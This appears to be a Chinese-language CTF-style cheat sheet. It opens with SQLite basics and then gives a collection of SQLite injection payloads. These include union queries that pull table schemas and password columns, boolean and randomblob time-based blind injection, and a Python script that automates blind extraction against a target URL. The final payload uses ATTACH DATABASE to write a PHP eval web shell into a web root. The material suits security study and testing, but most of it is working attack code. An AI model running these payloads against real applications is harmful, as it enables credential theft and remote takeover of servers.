sqlite:
基本语法:
注释符:-- ,/* */,没有#
sqlite3 [路径]/[自定义文件名].[自定义拓展名] //文件名,拓展名可任意,执行后在对应位置生成对应文件,之后将提供一个 sqlite> 提示符
例:sqlite3 test.db
打开(或创建)数据库:
sqlite>.open test.db
导入导出:
# 导出
$sqlite3 testDB.db .dump > testDB.sql //.dump:SQLite 的点命令,用于导出整个数据库的 SQL 语句(结构 + 数据)
# 导入
$sqlite3 testDB.db < testDB.sql
创建表:类似mysql
sqlite> create table test(
...> id INT PRIMARY KEY NOT NULL,
...> name char(50) NOT NULL
...> );
查看表:
sqlite> .tables //.tables 命令用来列出附加数据库中的所有表。
test
或
sqlite> .schema test //查看完整信息
CREATE TABLE test(
id INT PRIMARY KEY NOT NULL,
name char(50) NOT NULL
);
插入数据:
sqlite> insert into test (id,name) values (1,'alice');
sqlite> insert into test (id,name) values (2,'bob');
查询语句:
sqlite> select * from test;
id name
---------- ----------
1 alice
2 bob
或
sqlite> select name from test;
name
----------
alice
bob
sqlite_master:sqlite_master表中保存数据库表的关键信息。
sqlite_master表的结构:
sqlite> .schema sqlite_master
CREATE TABLE sqlite_master (
type text,
name text,
tbl_name text,
rootpage integer,
sql text
);
//特别注意:sql存储创建对象时所使用的原始sql语句
从sqlite_master查表名:
sqlite> select tbl_name from sqlite_master where type='table';
tbl_name
----------
test
获取表名和列名:
sqlite> select sql from sqlite_master where type='table';
sql
----------------------------------------------------------------------------
CREATE TABLE test(
id INT PRIMARY KEY NOT NULL,
name char(50) NOT NULL
)
格式化输出内容,能更直观查看命令执行结果:
sqlite>.header on
sqlite>.mode column
sqlite>.timer on
sqlite>
一些payload:
查版本:
0' union select 1,2,sqlite_version();
查表名和字段:
0' union select 1,2,sql from sqlite_master;
or
0' union select 1,2,sql from sqlite_master where type='table';
or
0' union select 1,2,sql from sqlite_master where type='table' and name='user_data';
多条记录时可以使用group_concat聚合或者使用limit:
0' union select 1,2,group_concat(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%' --
// NOT like 'sqlite_%':过滤掉 SQLite 内部系统表
或
0' union select 1,2,tbl_name FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%' limit 2 offset 1 --
//limit后面接的数字是截取的行数,而offest后面接的数字则为第一次返回结果中的删除数。在上述查询中,limit提取了两个表名,然后第一个被offset删除掉,所以我们获得了第二个表名。
另外可以通过下面的payload获取到格式化过的列名:
0' union select 1,2,replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr((substr(sql,instr(sql,'(')+1)),instr((substr(sql,instr(sql,'(')+1)),'`')),"TEXT",''),"INTEGER",''),"AUTOINCREMENT",''),"PRIMARY KEY",''),"UNIQUE",''),"NUMERIC",''),"REAL",''),"BLOB",''),"NOT NULL",''),",",'~~') from sqlite_master where type='table' and name='user_data' --
查数据:
0' union select id,name,passwd from user_data;
使用group_concat连接查询结果:
0' union select 1,2,group_concat(passwd) from user_data;
//当然,hex,limit,substr等也都可以在注入中用来构造语句。
盲注:
bool:
select * from test where id =1 union select 1,length(sqlite_version())=6
//length(sqlite_version())=6返回0或1,整体返回id=1,name=0或1
select * from test where id=1 and length(sqlite_version())=5;
select * from test where id=1 and substr(sqlite_version(),1,1)='3';
脚本:
import requests
url = 'http://ip/index.php'
flag = ''
for i in range(1,500):
low = 32
high = 128
mid = (low+high)//2
while(low<high):
payload = "-1' or substr((select hex(group_concat(sql)) from sqlite_master),{0},1)>'{1}'/*".format(i,chr(mid))
datas = {
"id": payload
}
res = requests.post(url=url,data=datas)
if 'Username' in res.text: # 为真时,即判断正确的时候的条件
low = mid+1
else:
high = mid
mid = (low+high)//2
if(mid ==32 or mid ==127):
break
flag = flag+chr(mid)
print(flag)
print('n'+bytes.fromhex(flag).decode('utf-8'))
sleep:
sqlite没有sleep()函数,但是有个函数randomblob(N),作用是返回一个 N 字节长的包含伪随机字节的 BLOG。 N 是正整数。可以用它来制造延时。
而且sqlite没有if函数,可以使用case来构造条件
select * from test where id=1 and 1=(case when(substr(sqlite_version(),1,1)='3') then randomblob(1000000000) else 0 end);
脚本:
写shell:
SQLite 的 ATTACH DATABASE 语句是用来选择一个特定的数据库,使用该命令后,所有的 SQLite 语句将在附加的数据库下执行。
附加:
ATTACH DATABASE 'filename' AS database_name;
//用于附加或取消
//DATABASE 关键字是可选的(可写可不写),但 文件名必须用单引号 ' 包裹(除非是绑定参数)。
//database_name 是你在本次连接中给这个附加数据库起的别名(schema name)。
取消附加:
DETACH DATABASE database_name;
payload:
';ATTACH DATABASE '/var/www/html/sqlite_test/shell.php' AS shell;create TABLE shell.exp (payload text); insert INTO shell.exp (payload) VALUES ('<?php @eval($_POST["x"]); ?>'); --